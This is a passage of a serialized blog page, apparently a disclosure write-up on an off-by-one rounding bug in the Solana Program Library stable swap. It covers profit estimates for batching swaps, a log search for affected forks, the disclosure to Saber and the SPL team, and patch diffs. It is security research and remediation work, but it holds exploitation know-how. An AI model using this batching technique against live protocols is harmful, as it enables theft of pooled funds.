{"type":27,"value":4558},{"type":21,"tag":198,"props":4705,"children":4707},{"class":200,"line":4706},26,[4708],{"type":21,"tag":198,"props":4709,"children":4710},{"style":211},[4711],{"type":27,"value":1120},{"type":21,"tag":30,"props":4713,"children":4714},{},[4715],{"type":27,"value":4716},"It works!",{"type":21,"tag":3741,"props":4718,"children":4719},{},[4720],{"type":21,"tag":30,"props":4721,"children":4722},{},[4723],{"type":27,"value":4724},"holy shit\nyea, this is big",{"type":21,"tag":30,"props":4726,"children":4727},{},[4728],{"type":21,"tag":1376,"props":4729,"children":4731},{"alt":7,"src":4730},"/posts/spl-swap/poc.png",[],{"type":21,"tag":22,"props":4733,"children":4735},{"id":4734},"exploitability",[4736],{"type":27,"value":4737},"Exploitability",{"type":21,"tag":30,"props":4739,"children":4740},{},[4741],{"type":27,"value":4742},"Off-by-one bugs are much easier to exploit on Solana compared to other chains, enabled by the relatively low fees on Solana.",{"type":21,"tag":30,"props":4744,"children":4745},{},[4746],{"type":27,"value":4747},"A single swap on Ethereum can cost dozens of dollars, but on Solana packing hundreds of swap instructions into a single transaction costs the same flat rate of 5000 lamports (at least prior to the 1.9 per transaction size compute limit update).",{"type":21,"tag":30,"props":4749,"children":4750},{},[4751],{"type":27,"value":4752},"This transaction cost discrepancy can trip up developers who transitioned from Ethereum to Solana. For example, the developers who wrote tests for the Solana Program Library implementation of stable swap assumed the impact of an off by one error would be negligible.",{"type":21,"tag":30,"props":4754,"children":4755},{},[4756],{"type":21,"tag":1376,"props":4757,"children":4759},{"alt":7,"src":4758},"/posts/spl-swap/pr.png",[],{"type":21,"tag":30,"props":4761,"children":4762},{},[4763,4765,4770],{"type":27,"value":4764},"As we mentioned previously, due to the rounding error, each swap allowed an attacker to steal a single token. It's important to keep in mind that this represents a single token ",{"type":21,"tag":1671,"props":4766,"children":4767},{},[4768],{"type":27,"value":4769},"per instruction",{"type":27,"value":4771},". Transactions on Solana can also contain multiple instructions.",{"type":21,"tag":30,"props":4773,"children":4774},{},[4775],{"type":27,"value":4776},"With an onchain program, we are able to fit over 50 swap instructions per transaction. Each transaction can be run around 3 times before exceeding the per-instruction compute limit cap. Thus, we can pack around 150 invocations per transaction.",{"type":21,"tag":30,"props":4778,"children":4779},{},[4780,4782,4786],{"type":27,"value":4781},"Some quick napkin math confirms that this ",{"type":21,"tag":1671,"props":4783,"children":4784},{},[4785],{"type":27,"value":1675},{"type":27,"value":4787}," indeed profitable. At a price of $41440 per Bitcoin, we are able to steal around 6 cents per transaction.",{"type":21,"tag":30,"props":4789,"children":4790},{},[4791],{"type":21,"tag":194,"props":4792,"children":4796},{"className":4793},[4794,4795],"language-math","math-inline",[4797],{"type":21,"tag":198,"props":4798,"children":4801},{"className":4799},[4800],"katex",[4802],{"type":21,"tag":198,"props":4803,"children":4807},{"className":4804,"ariaHidden":4806},[4805],"katex-html","true",[4808,4915,4970,5010],{"type":21,"tag":198,"props":4809,"children":4812},{"className":4810},[4811],"base",[4813,4819,4825,4888,4898,4904,4911],{"type":21,"tag":198,"props":4814,"children":4818},{"className":4815,"style":4817},[4816],"strut","height:0.8141em;",[],{"type":21,"tag":198,"props":4820,"children":4823},{"className":4821},[4822],"mord",[4824],{"type":27,"value":134},{"type":21,"tag":198,"props":4826,"children":4828},{"className":4827},[4822],[4829,4834],{"type":21,"tag":198,"props":4830,"children":4832},{"className":4831},[4822],[4833],{"type":27,"value":3482},{"type":21,"tag":198,"props":4835,"children":4838},{"className":4836},[4837],"msupsub",[4839],{"type":21,"tag":198,"props":4840,"children":4843},{"className":4841},[4842],"vlist-t",[4844],{"type":21,"tag":198,"props":4845,"children":4848},{"className":4846},[4847],"vlist-r",[4849],{"type":21,"tag":198,"props":4850,"children":4853},{"className":4851,"style":4817},[4852],"vlist",[4854],{"type":21,"tag":198,"props":4855,"children":4857},{"style":4856},"top:-3.063em;margin-right:0.05em;",[4858,4864],{"type":21,"tag":198,"props":4859,"children":4863},{"className":4860,"style":4862},[4861],"pstrut","height:2.7em;",[],{"type":21,"tag":198,"props":4865,"children":4871},{"className":4866},[4867,4868,4869,4870],"sizing","reset-size6","size3","mtight",[4872],{"type":21,"tag":198,"props":4873,"children":4875},{"className":4874},[4822,4870],[4876,4882],{"type":21,"tag":198,"props":4877,"children":4879},{"className":4878},[4822,4870],[4880],{"type":27,"value":4881},"−",{"type":21,"tag":198,"props":4883,"children":4885},{"className":4884},[4822,4870],[4886],{"type":27,"value":4887},"8",{"type":21,"tag":198,"props":4889,"children":4891},{"className":4890},[4822,27],[4892],{"type":21,"tag":198,"props":4893,"children":4895},{"className":4894},[4822],[4896],{"type":27,"value":4897}," BTC",{"type":21,"tag":198,"props":4899,"children":4903},{"className":4900,"style":4902},[4901],"mspace","margin-right:0.2222em;",[],{"type":21,"tag":198,"props":4905,"children":4908},{"className":4906},[4907],"mbin",[4909],{"type":27,"value":4910},"∗",{"type":21,"tag":198,"props":4912,"children":4914},{"className":4913,"style":4902},[4901],[],{"type":21,"tag":198,"props":4916,"children":4918},{"className":4917},[4811],[4919,4924,4930,4936,4941,4947,4957,4961,4966],{"type":21,"tag":198,"props":4920,"children":4923},{"className":4921,"style":4922},[4816],"height:1em;vertical-align:-0.25em;",[],{"type":21,"tag":198,"props":4925,"children":4927},{"className":4926},[4822],[4928],{"type":27,"value":4929},"$41",{"type":21,"tag":198,"props":4931,"children":4934},{"className":4932},[4933],"mpunct",[4935],{"type":27,"value":2205},{"type":21,"tag":198,"props":4937,"children":4940},{"className":4938,"style":4939},[4901],"margin-right:0.1667em;",[],{"type":21,"tag":198,"props":4942,"children":4944},{"className":4943},[4822],[4945],{"type":27,"value":4946},"400/",{"type":21,"tag":198,"props":4948,"children":4950},{"className":4949},[4822,27],[4951],{"type":21,"tag":198,"props":4952,"children":4954},{"className":4953},[4822],[4955],{"type":27,"value":4956},"BTC",{"type":21,"tag":198,"props":4958,"children":4960},{"className":4959,"style":4902},[4901],[],{"type":21,"tag":198,"props":4962,"children":4964},{"className":4963},[4907],[4965],{"type":27,"value":4910},{"type":21,"tag":198,"props":4967,"children":4969},{"className":4968,"style":4902},[4901],[],{"type":21,"tag":198,"props":4971,"children":4973},{"className":4972},[4811],[4974,4979,4985,4995,5000,5006],{"type":21,"tag":198,"props":4975,"children":4978},{"className":4976,"style":4977},[4816],"height:0.8389em;vertical-align:-0.1944em;",[],{"type":21,"tag":198,"props":4980,"children":4982},{"className":4981},[4822],[4983],{"type":27,"value":4984},"150",{"type":21,"tag":198,"props":4986,"children":4988},{"className":4987},[4822,27],[4989],{"type":21,"tag":198,"props":4990,"children":4992},{"className":4991},[4822],[4993],{"type":27,"value":4994}," swaps",{"type":21,"tag":198,"props":4996,"children":4999},{"className":4997,"style":4998},[4901],"margin-right:0.2778em;",[],{"type":21,"tag":198,"props":5001,"children":5004},{"className":5002},[5003],"mrel",[5005],{"type":27,"value":3174},{"type":21,"tag":198,"props":5007,"children":5009},{"className":5008,"style":4998},[4901],[],{"type":21,"tag":198,"props":5011,"children":5013},{"className":5012},[4811],[5014,5019],{"type":21,"tag":198,"props":5015,"children":5018},{"className":5016,"style":5017},[4816],"height:0.8056em;vertical-align:-0.0556em;",[],{"type":21,"tag":198,"props":5020,"children":5022},{"className":5021},[4822],[5023],{"type":27,"value":5024},"$0.0621",{"type":21,"tag":30,"props":5026,"children":5027},{},[5028],{"type":27,"value":5029},"At 200 transactions per second, we can extract just over a million dollars per day.",{"type":21,"tag":30,"props":5031,"children":5032},{},[5033],{"type":27,"value":5034},"We're well on our way to becoming a millionaire!",{"type":21,"tag":22,"props":5036,"children":5038},{"id":5037},"patch",[5039],{"type":27,"value":5040},"Patch",{"type":21,"tag":30,"props":5042,"children":5043},{},[5044],{"type":27,"value":5045},"Now that we had a proof-of-concept going, it was time to contact the relevant teams.",{"type":21,"tag":30,"props":5047,"children":5048},{},[5049],{"type":27,"value":5050},"By grepping through Solana logs for the swap instruction log, we were able to identify many potential spl-token-swap forks.",{"type":21,"tag":187,"props":5052,"children":5056},{"code":5053,"language":5054,"meta":7,"className":5055,"style":7},"solana logs -um | grep 'Instruction: Swap' -B1\n","bash","language-bash shiki shiki-themes slack-dark",[5057],{"type":21,"tag":194,"props":5058,"children":5059},{"__ignoreMap":7},[5060],{"type":21,"tag":198,"props":5061,"children":5062},{"class":200,"line":201},[5063,5067,5072,5077,5082,5087,5092],{"type":21,"tag":198,"props":5064,"children":5065},{"style":698},[5066],{"type":27,"value":3688},{"type":21,"tag":198,"props":5068,"children":5069},{"style":205},[5070],{"type":27,"value":5071}," logs",{"type":21,"tag":198,"props":5073,"children":5074},{"style":205},[5075],{"type":27,"value":5076}," -um",{"type":21,"tag":198,"props":5078,"children":5079},{"style":683},[5080],{"type":27,"value":5081}," |",{"type":21,"tag":198,"props":5083,"children":5084},{"style":698},[5085],{"type":27,"value":5086}," grep",{"type":21,"tag":198,"props":5088,"children":5089},{"style":205},[5090],{"type":27,"value":5091}," 'Instruction: Swap'",{"type":21,"tag":198,"props":5093,"children":5094},{"style":205},[5095],{"type":27,"value":5096}," -B1\n",{"type":21,"tag":30,"props":5098,"children":5099},{},[5100],{"type":27,"value":5101},"With some Google dorking, we were able to identify many of these programs.",{"type":21,"tag":187,"props":5103,"children":5105},{"code":5104},"1SoLTvbiicqXZ3MJmnTL2WYXKLYpuxwHpa4yYrVQaMZ - \"1 SOL\"\n9W959DqEETiGZocYWCQPaJ6sBmUzgfxXfqGeTEdp3aQP - Orca Swap Program v2\nSCHAtsf8mbjyjiv4LkhLKutTf6JnZAbdJKFkXQNMFHZ - \"Sencha Swap\"\nSSwapUtytfBdBn1b9NUGG6foMVPtcWgpRU32HToDUZr - \"Saros Swap\"\nSSwpkEEcbUqx4vtoEByFjSkhKdCT862DNVb52nZg1UZ - Saber Stable Swap Program\nSSwpMgqNDsyV7mAgN9ady4bDVu5ySjmmXejXvy2vLt1 - Step Finance Swap Program\nSwaPpA9LAaLfeLi3a68M4DjnLqgtticKg6CnyNwgAC8 - Swap Program\n",[5106],{"type":21,"tag":194,"props":5107,"children":5108},{"__ignoreMap":7},[5109],{"type":27,"value":5104},{"type":21,"tag":30,"props":5111,"children":5112},{},[5113],{"type":27,"value":5114},"Now it was time to contact these teams.",{"type":21,"tag":30,"props":5116,"children":5117},{},[5118],{"type":27,"value":5119},"Of these protocols, Saber was the only one which had BTC stable swaps, which would make exploitation immediately profitable. Luckily, they were also the most responsive, triaging and patching the vulnerability in just over one day.",{"type":21,"tag":30,"props":5121,"children":5122},{},[5123],{"type":27,"value":5124},"After some discussion, they decided to port a patch from Curve.fi, subtracting one from the output amount.",{"type":21,"tag":187,"props":5126,"children":5128},{"code":5127,"language":3788,"meta":7,"className":3789,"style":7},"- let dy = swap_destination_amount.checked_sub(y)?;\n+ // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n+ let dy = swap_destination_amount.checked_sub(y)?.checked_sub(1)?;\n",[5129],{"type":21,"tag":194,"props":5130,"children":5131},{"__ignoreMap":7},[5132,5186,5199],{"type":21,"tag":198,"props":5133,"children":5134},{"class":200,"line":201},[5135,5140,5144,5149,5153,5158,5162,5166,5170,5174,5178,5182],{"type":21,"tag":198,"props":5136,"children":5137},{"style":683},[5138],{"type":27,"value":5139},"-",{"type":21,"tag":198,"props":5141,"children":5142},{"style":249},[5143],{"type":27,"value":3873},{"type":21,"tag":198,"props":5145,"children":5146},{"style":226},[5147],{"type":27,"value":5148}," dy",{"type":21,"tag":198,"props":5150,"children":5151},{"style":683},[5152],{"type":27,"value":979},{"type":21,"tag":198,"props":5154,"children":5155},{"style":226},[5156],{"type":27,"value":5157}," swap_destination_amount",{"type":21,"tag":198,"props":5159,"children":5160},{"style":683},[5161],{"type":27,"value":658},{"type":21,"tag":198,"props":5163,"children":5164},{"style":698},[5165],{"type":27,"value":4042},{"type":21,"tag":198,"props":5167,"children":5168},{"style":211},[5169],{"type":27,"value":706},{"type":21,"tag":198,"props":5171,"children":5172},{"style":226},[5173],{"type":27,"value":3922},{"type":21,"tag":198,"props":5175,"children":5176},{"style":211},[5177],{"type":27,"value":2109},{"type":21,"tag":198,"props":5179,"children":5180},{"style":683},[5181],{"type":27,"value":2156},{"type":21,"tag":198,"props":5183,"children":5184},{"style":211},[5185],{"type":27,"value":1483},{"type":21,"tag":198,"props":5187,"children":5188},{"class":200,"line":217},[5189,5194],{"type":21,"tag":198,"props":5190,"children":5191},{"style":683},[5192],{"type":27,"value":5193},"+",{"type":21,"tag":198,"props":5195,"children":5196},{"style":1233},[5197],{"type":27,"value":5198}," // https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466\n",{"type":21,"tag":198,"props":5200,"children":5201},{"class":200,"line":236},[5202,5206,5210,5214,5218,5222,5226,5230,5234,5238,5242,5246,5250,5254,5258,5262,5266],{"type":21,"tag":198,"props":5203,"children":5204},{"style":683},[5205],{"type":27,"value":5193},{"type":21,"tag":198,"props":5207,"children":5208},{"style":249},[5209],{"type":27,"value":3873},{"type":21,"tag":198,"props":5211,"children":5212},{"style":226},[5213],{"type":27,"value":5148},{"type":21,"tag":198,"props":5215,"children":5216},{"style":683},[5217],{"type":27,"value":979},{"type":21,"tag":198,"props":5219,"children":5220},{"style":226},[5221],{"type":27,"value":5157},{"type":21,"tag":198,"props":5223,"children":5224},{"style":683},[5225],{"type":27,"value":658},{"type":21,"tag":198,"props":5227,"children":5228},{"style":698},[5229],{"type":27,"value":4042},{"type":21,"tag":198,"props":5231,"children":5232},{"style":211},[5233],{"type":27,"value":706},{"type":21,"tag":198,"props":5235,"children":5236},{"style":226},[5237],{"type":27,"value":3922},{"type":21,"tag":198,"props":5239,"children":5240},{"style":211},[5241],{"type":27,"value":2109},{"type":21,"tag":198,"props":5243,"children":5244},{"style":683},[5245],{"type":27,"value":3940},{"type":21,"tag":198,"props":5247,"children":5248},{"style":698},[5249],{"type":27,"value":4042},{"type":21,"tag":198,"props":5251,"children":5252},{"style":211},[5253],{"type":27,"value":706},{"type":21,"tag":198,"props":5255,"children":5256},{"style":2540},[5257],{"type":27,"value":134},{"type":21,"tag":198,"props":5259,"children":5260},{"style":211},[5261],{"type":27,"value":2109},{"type":21,"tag":198,"props":5263,"children":5264},{"style":683},[5265],{"type":27,"value":2156},{"type":21,"tag":198,"props":5267,"children":5268},{"style":211},[5269],{"type":27,"value":1483},{"type":21,"tag":30,"props":5271,"children":5272},{},[5273,5275,5282],{"type":27,"value":5274},"For reference, here is the ",{"type":21,"tag":34,"props":5276,"children":5279},{"href":5277,"rel":5278},"https://github.com/curvefi/curve-contract/blob/b0bbf77f8f93c9c5f4e415bce9cd71f0cdee960e/contracts/pool-templates/base/SwapTemplateBase.vy#L466",[38],[5280],{"type":27,"value":5281},"Curve.fi implementation",{"type":27,"value":658},{"type":21,"tag":187,"props":5284,"children":5288},{"code":5285,"language":5286,"meta":7,"className":5287,"style":7}," dy: uint256 = xp[j] - y - 1 # -1 just in case there were some rounding errors\n dy_fee: uint256 = dy * self.fee / FEE_DENOMINATOR\n","solidity","language-solidity shiki shiki-themes slack-dark",[5289],{"type":21,"tag":194,"props":5290,"children":5291},{"__ignoreMap":7},[5292,5354],{"type":21,"tag":198,"props":5293,"children":5294},{"class":200,"line":201},[5295,5300,5304,5309,5313,5318,5322,5327,5331,5336,5341,5345,5349],{"type":21,"tag":198,"props":5296,"children":5297},{"style":211},[5298],{"type":27,"value":5299}," dy",{"type":21,"tag":198,"props":5301,"children":5302},{"style":683},[5303],{"type":27,"value":185},{"type":21,"tag":198,"props":5305,"children":5306},{"style":1966},[5307],{"type":27,"value":5308}," uint256",{"type":21,"tag":198,"props":5310,"children":5311},{"style":683},[5312],{"type":27,"value":979},{"type":21,"tag":198,"props":5314,"children":5315},{"style":211},[5316],{"type":27,"value":5317}," xp[j] ",{"type":21,"tag":198,"props":5319,"children":5320},{"style":683},[5321],{"type":27,"value":5139},{"type":21,"tag":198,"props":5323,"children":5324},{"style":211},[5325],{"type":27,"value":5326}," y ",{"type":21,"tag":198,"props":5328,"children":5329},{"style":683},[5330],{"type":27,"value":5139},{"type":21,"tag":198,"props":5332,"children":5333},{"style":2540},[5334],{"type":27,"value":5335}," 1",{"type":21,"tag":198,"props":5337,"children":5338},{"style":211},[5339],{"type":27,"value":5340}," # ",{"type":21,"tag":198,"props":5342,"children":5343},{"style":683},[5344],{"type":27,"value":5139},{"type":21,"tag":198,"props":5346,"children":5347},{"style":2540},[5348],{"type":27,"value":134},{"type":21,"tag":198,"props":5350,"children":5351},{"style":211},[5352],{"type":27,"value":5353}," just in case there were some rounding errors\n",{"type":21,"tag":198,"props":5355,"children":5356},{"class":200,"line":217},[5357,5362,5366,5370,5374,5379,5384,5389,5393],{"type":21,"tag":198,"props":5358,"children":5359},{"style":211},[5360],{"type":27,"value":5361}," dy_fee",{"type":21,"tag":198,"props":5363,"children":5364},{"style":683},[5365],{"type":27,"value":185},{"type":21,"tag":198,"props":5367,"children":5368},{"style":1966},[5369],{"type":27,"value":5308},{"type":21,"tag":198,"props":5371,"children":5372},{"style":683},[5373],{"type":27,"value":979},{"type":21,"tag":198,"props":5375,"children":5376},{"style":211},[5377],{"type":27,"value":5378}," dy ",{"type":21,"tag":198,"props":5380,"children":5381},{"style":683},[5382],{"type":27,"value":5383},"*",{"type":21,"tag":198,"props":5385,"children":5386},{"style":211},[5387],{"type":27,"value":5388}," self.fee ",{"type":21,"tag":198,"props":5390,"children":5391},{"style":683},[5392],{"type":27,"value":2232},{"type":21,"tag":198,"props":5394,"children":5395},{"style":211},[5396],{"type":27,"value":5397}," FEE_DENOMINATOR\n",{"type":21,"tag":30,"props":5399,"children":5400},{},[5401,5403,5410],{"type":27,"value":5402},"We originally thought this was an additional patch that didn't get ported over to Solana. However, it turns out this code was actually included in the ",{"type":21,"tag":34,"props":5404,"children":5407},{"href":5405,"rel":5406},"https://github.com/curvefi/curve-contract/commit/0fd801df7488d89f0e2fc81e760942d7858b01d6",[38],[5408],{"type":27,"value":5409},"original commit",{"type":27,"value":5411},", not as an additional security patch.",{"type":21,"tag":187,"props":5413,"children":5415},{"code":5414},"commit 0fd801df7488d89f0e2fc81e760942d7858b01d6\nAuthor: Ben Hauser \u003Cben@hauser.id>\nDate: Mon Aug 31 02:35:30 2020 +0300\n\n feat: add base pool without lending\n",[5416],{"type":21,"tag":194,"props":5417,"children":5418},{"__ignoreMap":7},[5419],{"type":27,"value":5414},{"type":21,"tag":30,"props":5421,"children":5422},{},[5423,5425,5432],{"type":27,"value":5424},"The commit adding stable swaps to SPL was ",{"type":21,"tag":34,"props":5426,"children":5429},{"href":5427,"rel":5428},"https://github.com/solana-labs/solana-program-library/commit/d62ddd2b94d5d2daaa97460b165d288610a87623",[38],[5430],{"type":27,"value":5431},"made a few months later",{"type":27,"value":5433},", meaning there was some disconnect when porting the code. Either the rounding was thought to be unnecesary, or it was simply forgotten.",{"type":21,"tag":187,"props":5435,"children":5437},{"code":5436},"commit d62ddd2b94d5d2daaa97460b165d288610a87623\nAuthor: Yuriy Savchenko \u003Cyuriy.savchenko@gmail.com>\nDate: Tue Nov 17 15:13:18 2020 +0200\n\n Added stable curve invariant to the token swap smart contract (#838)\n\n * Added stable curve invariant to the token swap smart contract\n\n * Fixed formatting\n\n * Added missing stable curve constraints\n\n * Symbol renames to make math clearer\n\n * Small refactoring according to PR comments, fixes for JS tests\n",[5438],{"type":21,"tag":194,"props":5439,"children":5440},{"__ignoreMap":7},[5441],{"type":27,"value":5436},{"type":21,"tag":30,"props":5443,"children":5444},{},[5445,5447,5454],{"type":27,"value":5446},"After contacting some other swap projects which were unaffected, we decided to notify the Solana team in order to get a patch upstreamed to ",{"type":21,"tag":34,"props":5448,"children":5451},{"href":5449,"rel":5450},"https://github.com/solana-labs/solana-program-library",[38],[5452],{"type":27,"value":5453},"the Solana Program Library",{"type":27,"value":658},{"type":21,"tag":30,"props":5456,"children":5457},{},[5458],{"type":27,"value":5459},"While few projects deploy the swap program from the Solana Program Library, the SPL program is meant as a reference implementation, and many exchanges fork their own code off of it.",{"type":21,"tag":30,"props":5461,"children":5462},{},[5463,5470],{"type":21,"tag":34,"props":5464,"children":5467},{"href":5465,"rel":5466},"https://github.com/joncinque",[38],[5468],{"type":27,"value":5469},"@joncinque",{"type":27,"value":5471}," helped triage this patch. We also asked him for his thoughts on a more complete solution.",{"type":21,"tag":3741,"props":5473,"children":5474},{},[5475],{"type":21,"tag":30,"props":5476,"children":5477},{},[5478],{"type":27,"value":5479},"Honestly, the idea of just subtracting 1 from the output will cover almost all situations correctly, so it's a good quick solution. I'll take a look to see if we can solve this for all situations through a correct application of checked_ceil_div, as with the constant product curve.",{"type":21,"tag":30,"props":5481,"children":5482},{},[5483,5485,5492,5494,5500],{"type":27,"value":5484},"After some thought, he helped ",{"type":21,"tag":34,"props":5486,"children":5489},{"href":5487,"rel":5488},"https://github.com/solana-labs/solana-program-library/pull/2942",[38],[5490],{"type":27,"value":5491},"introduce a PR",{"type":27,"value":5493}," which ceilings the computation in ",{"type":21,"tag":194,"props":5495,"children":5497},{"className":5496},[],[5498],{"type":27,"value":5499},"compute_new_destination_amount",{"type":27,"value":5501}," to correctly round within the stable curve math library.",{"type":21,"tag":187,"props":5503,"children":5505},{"code":5504,"language":3788,"meta":7,"className":3789,"style":7}," // Solve for y by approximating: y**2 + b*y = c\n let mut y_prev: U256;\n let mut y = d_val;\n for _ in 0..ITERATIONS {\n- y_prev = y;\n- y = (checked_u8_power(&y, 2)?.checked_add(c)?)\n- .checked_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n- if y == y_prev {\n+ let (y_new, _) = (checked_u8_power(&y, 2)?.checked_add(c)?)\n+ .checked_ceil_div(checked_u8_mul(&y, 2)?.checked_add(b)?.checked_sub(d_val)?)?;\n+ if y_new == y {\n break;\n+ } else {\n+ y = y_new;\n }\n",[5506],{"type":21,"tag":194,"props":5507,"children":5508},{"__ignoreMap":7},[5509,5517,5547,5574,5602,5626,5702,5806,5833,5928,6031,6058,6070,6089,6112],{"type":21,"tag":198,"props":5510,"children":5511},{"class":200,"line":201},[5512],{"type":21,"tag":198,"props":5513,"children":5514},{"style":1233},[5515],{"type":27,"value":5516}," // Solve for y by approximating: y**2 + b*y = c\n",{"type":21,"tag":198,"props":5518,"children":5519},{"class":200,"line":217},[5520,5525,5529,5534,5538,5543],{"type":21,"tag":198,"props":5521,"children":5522},{"style":249},[5523],{"type":27,"value":5524}," let",{"type":21,"tag":198,"props":5526,"children":5527},{"style":249},[5528],{"type":27,"value":3814},{"type":21,"tag":198,"props":5530,"children":5531},{"style":226},[5532],{"type":27,"value":5533}," y_prev",{"type":21,"tag":198,"props":5535,"children":5536},{"style":683},[5537],{"type":27,"value":185},{"type":21,"tag":198,"props":5539,"children":5540},{"style":1966},[5541],{"type":27,"value":5542}," U256",{"type":21,"tag":198,"props":5544,"children":5545},{"style":211},[5546],{"type":27,"value":1483},{"type":21,"tag":198,"props":5548,"children":5549},{"class":200,"line":236},[5550,5554,5558,5562,5566,5570],{"type":21,"tag":198,"props":5551,"children":5552},{"style":249},[5553],{"type":27,"value":5524},{"type":21,"tag":198,"props":5555,"children":5556},{"style":249},[5557],{"type":27,"value":3814},{"type":21,"tag":198,"props":5559,"children":5560},{"style":226},[5561],{"type":27,"value":3819},{"type":21,"tag":198,"props":5563,"children":5564},{"style":683},[5565],{"type":27,"value":979},{"type":21,"tag":198,"props":5567,"children":5568},{"style":226},[5569],{"type":27,"value":3828},{"type":21,"tag":198,"props":5571,"children":5572},{"style":211},[5573],{"type":27,"value":1483},{"type":21,"tag":198,"props":5575,"children":5576},{"class":200,"line":260},[5577,5582,5586,5590,5594,5598],{"type":21,"tag":198,"props":5578,"children":5579},{"style":640},[5580],{"type":27,"value":5581}," for",{"type":21,"tag":198,"props":5583,"children":5584},{"style":226},[5585],{"type":27,"value":3845},{"type":21,"tag":198,"props":5587,"children":5588},{"style":249},[5589],{"type":27,"value":3850},{"type":21,"tag":198,"props":5591,"children":5592},{"style":2540},[5593],{"type":27,"value":3855},{"type":21,"tag":198,"props":5595,"children":5596},{"style":683},[5597],{"type":27,"value":3860},{"type":21,"tag":198,"props":5599,"children":5600},{"style":211},[5601],{"type":27,"value":3865},{"type":21,"tag":198,"props":5603,"children":5604},{"class":200,"line":281},[5605,5609,5614,5618,5622],{"type":21,"tag":198,"props":5606,"children":5607},{"style":683},[5608],{"type":27,"value":5139},{"type":21,"tag":198,"props":5610,"children":5611},{"style":226},[5612],{"type":27,"value":5613}," y_prev",{"type":21,"tag":198,"props":5615,"children":5616},{"style":683},[5617],{"type":27,"value":979},{"type":21,"tag":198,"props":5619,"children":5620},{"style":226},[5621],{"type":27,"value":3819},{"type":21,"tag":198,"props":5623,"children":5624},{"style":211},[5625],{"type":27,"value":1483},{"type":21,"tag":198,"props":5627,"children":5628},{"class":200,"line":302},[5629,5633,5638,5642,5646,5650,5654,5658,5662,5666,5670,5674,5678,5682,5686,5690,5694,5698],{"type":21,"tag":198,"props":5630,"children":5631},{"style":683},[5632],{"type":27,"value":5139},{"type":21,"tag":198,"props":5634,"children":5635},{"style":226},[5636],{"type":27,"value":5637}," y",{"type":21,"tag":198,"props":5639,"children":5640},{"style":683},[5641],{"type":27,"value":979},{"type":21,"tag":198,"props":5643,"children":5644},{"style":211},[5645],{"type":27,"value":648},{"type":21,"tag":198,"props":5647,"children":5648},{"style":698},[5649],{"type":27,"value":3908},{"type":21,"tag":198,"props":5651,"children":5652},{"style":211},[5653],{"type":27,"value":706},{"type":21,"tag":198,"props":5655,"children":5656},{"style":683},[5657],{"type":27,"value":3917},{"type":21,"tag":198,"props":5659,"children":5660},{"style":226},[5661],{"type":27,"value":3922},{"type":21,"tag":198,"props":5663,"children":5664},{"style":211},[5665],{"type":27,"value":828},{"type":21,"tag":198,"props":5667,"children":5668},{"style":2540},[5669],{"type":27,"value":3931},{"type":21,"tag":198,"props":5671,"children":5672},{"style":211},[5673],{"type":27,"value":2109},{"type":21,"tag":198,"props":5675,"children":5676},{"style":683},[5677],{"type":27,"value":3940},{"type":21,"tag":198,"props":5679,"children":5680},{"style":698},[5681],{"type":27,"value":3945},{"type":21,"tag":198,"props":5683,"children":5684},{"style":211},[5685],{"type":27,"value":706},{"type":21,"tag":198,"props":5687,"children":5688},{"style":226},[5689],{"type":27,"value":3954},{"type":21,"tag":198,"props":5691,"children":5692},{"style":211},[5693],{"type":27,"value":2109},{"type":21,"tag":198,"props":5695,"children":5696},{"style":683},[5697],{"type":27,"value":2156},{"type":21,"tag":198,"props":5699,"children":5700},{"style":211},[5701],{"type":27,"value":789},{"type":21,"tag":198,"props":5703,"children":5704},{"class":200,"line":323},[5705,5709,5713,5718,5722,5726,5730,5734,5738,5742,5746,5750,5754,5758,5762,5766,5770,5774,5778,5782,5786,5790,5794,5798,5802],{"type":21,"tag":198,"props":5706,"children":5707},{"style":683},[5708],{"type":27,"value":5139},{"type":21,"tag":198,"props":5710,"children":5711},{"style":683},[5712],{"type":27,"value":3974},{"type":21,"tag":198,"props":5714,"children":5715},{"style":698},[5716],{"type":27,"value":5717},"checked_div",{"type":21,"tag":198,"props":5719,"children":5720},{"style":211},[5721],{"type":27,"value":706},{"type":21,"tag":198,"props":5723,"children":5724},{"style":698},[5725],{"type":27,"value":3988},{"type":21,"tag":198,"props":5727,"children":5728},{"style":211},[5729],{"type":27,"value":706},{"type":21,"tag":198,"props":5731,"children":5732},{"style":683},[5733],{"type":27,"value":3917},{"type":21,"tag":198,"props":5735,"children":5736},{"style":226},[5737],{"type":27,"value":3922},{"type":21,"tag":198,"props":5739,"children":5740},{"style":211},[5741],{"type":27,"value":828},{"type":21,"tag":198,"props":5743,"children":5744},{"style":2540},[5745],{"type":27,"value":3931},{"type":21,"tag":198,"props":5747,"children":5748},{"style":211},[5749],{"type":27,"value":2109},{"type":21,"tag":198,"props":5751,"children":5752},{"style":683},[5753],{"type":27,"value":3940},{"type":21,"tag":198,"props":5755,"children":5756},{"style":698},[5757],{"type":27,"value":3945},{"type":21,"tag":198,"props":5759,"children":5760},{"style":211},[5761],{"type":27,"value":706},{"type":21,"tag":198,"props":5763,"children":5764},{"style":226},[5765],{"type":27,"value":4029},{"type":21,"tag":198,"props":5767,"children":5768},{"style":211},[5769],{"type":27,"value":2109},{"type":21,"tag":198,"props":5771,"children":5772},{"style":683},[5773],{"type":27,"value":3940},{"type":21,"tag":198,"props":5775,"children":5776},{"style":698},[5777],{"type":27,"value":4042},{"type":21,"tag":198,"props":5779,"children":5780},{"style":211},[5781],{"type":27,"value":706},{"type":21,"tag":198,"props":5783,"children":5784},{"style":226},[5785],{"type":27,"value":4051},{"type":21,"tag":198,"props":5787,"children":5788},{"style":211},[5789],{"type":27,"value":2109},{"type":21,"tag":198,"props":5791,"children":5792},{"style":683},[5793],{"type":27,"value":2156},{"type":21,"tag":198,"props":5795,"children":5796},{"style":211},[5797],{"type":27,"value":2109},{"type":21,"tag":198,"props":5799,"children":5800},{"style":683},[5801],{"type":27,"value":2156},{"type":21,"tag":198,"props":5803,"children":5804},{"style":211},[5805],{"type":27,"value":1483},{"type":21,"tag":198,"props":5807,"children":5808},{"class":200,"line":344},[5809,5813,5817,5821,5825,5829],{"type":21,"tag":198,"props":5810,"children":5811},{"style":683},[5812],{"type":27,"value":5139},{"type":21,"tag":198,"props":5814,"children":5815},{"style":640},[5816],{"type":27,"value":4079},{"type":21,"tag":198,"props":5818,"children":5819},{"style":226},[5820],{"type":2